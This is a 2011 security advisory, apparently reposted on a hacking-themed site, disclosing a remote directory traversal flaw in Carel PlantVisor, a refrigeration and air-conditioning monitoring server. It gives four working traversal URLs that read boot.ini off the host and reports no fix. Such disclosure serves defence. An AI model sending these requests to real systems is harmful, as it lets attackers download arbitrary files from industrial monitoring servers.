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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
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                             Luigi Auriemma

Application:  Carel PlantVisor
              http://www.carel.com/carelcom/web/eng/catalogo/prodotto_dett.jsp?id_prodotto=310
Versions:     <= 2.4.4
Platforms:    Windows
Bug:          directory traversal
Exploitation: remote
Date:         13 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


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1) Introduction
2) Bug
3) The Code
4) Fix


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===============
1) Introduction
===============


From vendor's homepage:
"PlantVisor Enhanced is monitoring and telemaintenance software for
refrigeration and air-conditioning systems controlled by CAREL
instruments."


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======
2) Bug
======


CarelDataServer.exe is a web server listening on port 80.

The software is affected by a directory traversal vulnerability that
allows to download the files located on the disk where it's installed.
Both slash and backslash and their HTTP encoded values are supported.


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===========
3) The Code
===========


http://SERVER/..\..\..\..\..\..\boot.ini
http://SERVER/../../../../../../boot.ini
http://SERVER/..%5c..%5c..%5c..%5c..%5c..%5cboot.ini
http://SERVER/..%2f..%2f..%2f..%2f..%2f..%2fboot.ini


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======
4) Fix
======


No fix.


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